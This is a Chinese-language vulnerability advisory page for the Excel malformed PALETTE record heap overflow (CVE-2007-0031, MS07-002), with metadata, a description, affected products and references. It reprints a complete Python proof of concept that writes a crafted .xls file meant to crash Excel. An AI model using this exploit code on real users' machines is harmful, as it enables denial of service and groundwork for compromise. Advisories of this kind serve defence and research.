Microsoft Excel畸形调色板记录堆溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112084 漏洞类型 缓冲区溢出
发布时间 2007-01-25 更新时间 2007-02-01
CVE编号 CVE-2007-0031 CNNVD-ID CNNVD-200701-101
漏洞平台 Windows CVSS评分 9.3
|漏洞来源
https://www.exploit-db.com/exploits/3193
https://www.securityfocus.com/bid/21922
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200701-101
|漏洞详情
MicrosoftExcel是微软Office套件中的电子表格工具。Excel在处理BIFF8格式电子表格文件中畸形的PALETTE记录时存在堆溢出漏洞,远程攻击者可能利用此漏洞远程控制用户机器。在Excel文档中如果攻击者为PALETTE记录指定了过多条目的话,就会触发这个漏洞,攻击者通过诱骗用户打开此恶意文档导致在用户机器上执行任意指令。
|漏洞EXP
"""
MS07-002 EXCEL Malformed Palette Record Vulnerability DOS POC

######
Author
######
LifeAsaGeek at gmail.com
... and Microsoft said that vuln credit is for Greg MacManus of iDefense Labs

########################
Vulnerablity Description
########################
Bound error occurs when parsing Palette Record and it causes Heap Overflow
check out here - http://picasaweb.google.com/lifeasageek/MS07002/photo?pli=1#5022146178204021506
   which is generated by DarunGrim
   ( and I want to say I'm not a person who made this analyzer ==; )

#############
Attack Vector
#############
Arbitary Data will be overwritten to the heap, but arbitary data is highly depends on the stack status !
Result of heap overflow, you can overwrite 2 bytes to restricted range address ( not anywhere )
In *CERTAIN* environment( such as open excel file which is already opened)
    you can catch the flow by modify function pointer, but it doesn't have a reliablity at all
Let me know if you have a good method to break down

######
Result
######
DOS

#####
Notes
#####
You should modify pyExcelerator module because it doesn't generate Palette Record

pyExcelerator diff results would be like below

diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\BIFFRecords.py pyExcelerator\BIFFRecords.py
1104a1105,1108
>     def __init__(self):
>         BiffRecord.__init__(self)
>         self._rec_data = pack('<H', 0x0038) # number of colours
>         self._rec_data += 'A' * 0xe0
diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\Workbook.py pyExcelerator\Workbook.py
468,469c468
<         result = ''
<         return result
---
>         return BIFFRecords.PaletteRecord().get()

!! THIS IS ONLY FOR EDUCATIONAL PURPOSE !!
 - 2007.01.25
"""

import sys, os
from struct import *
from pyExcelerator import *

def CreateXLS():
    w = Workbook()
    ws = w.add_sheet('MS07-002 POC')
    w.save( "before.xls")


def ModifyXLS():
    try:
        f = open( "before.xls", "rb")
    except:
     print "File Open Error ! "
     sys.exit(0)

    str = f.read()
    f.close()

    #write to malformed xls file
    f = open( "after.xls", "wb")

    PaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x0038)
    NewPaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x01FF)

    palette_idx = str.find( PaletteRecord)

    if palette_idx == -1:
     print "Cannot find Palette Record"
     sys.exit(0)

    str = str.replace( PaletteRecord, NewPaletteRecord)
    f.write( str)
    f.close()

if __name__ == "__main__":
    print "==========================================================="
    print "MS07-002 Malformed Palette Record vulnerability DOS POC "
    print "Create POC Excel File after.xls"
    print "by LifeAsaGeek at gmail.com"
    print "==========================================================="
    CreateXLS()
    ModifyXLS() 

# milw0rm.com [2007-01-25]
|受影响的产品
Microsoft Works Suite 2006 0 Microsoft Works Suite 2005 0 Microsoft Works Suite 2004 Microsoft Office XP SP3 + Microsoft Excel 2002 SP3
|参考资料

来源:US-CERT
名称:TA07-009A
链接:http://www.us-cert.gov/cas/techalerts/TA07-009A.html
来源:US-CERT
名称:VU#625532
链接:http://www.kb.cert.org/vuls/id/625532
来源:MS
名称:MS07-002
链接:http://www.microsoft.com/technet/security/Bulletin/MS07-002.mspx
来源:IDEFENSE
名称:20070109MicrosoftExcelLongPaletteHeapOverflowVulnerability
链接:http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=461
来源:BID
名称:21922
链接:http://www.securityfocus.com/bid/21922
来源:HP
名称:SSRT071296
链接:http://www.securityfocus.com/archive/1/archive/1/457274/100/0/threaded
来源:OSVDB
名称:31258
链接:http://www.osvdb.org/31258
来源:VUPEN
名称:ADV-2007-0103
链接:http://www.frsirt.com/english/advisories/2007/0103
来源:SECTRACK
名称:1017487
链接:http://securitytracker.com/id?1017487
来源:USGovernmentResource:oval:org.mitre.oval:def:753
名称:oval:org.mitre.oval:def:753
链接:http://oval.mitre.org/repository/data/getDef?id=oval:org.mitre.oval:def:753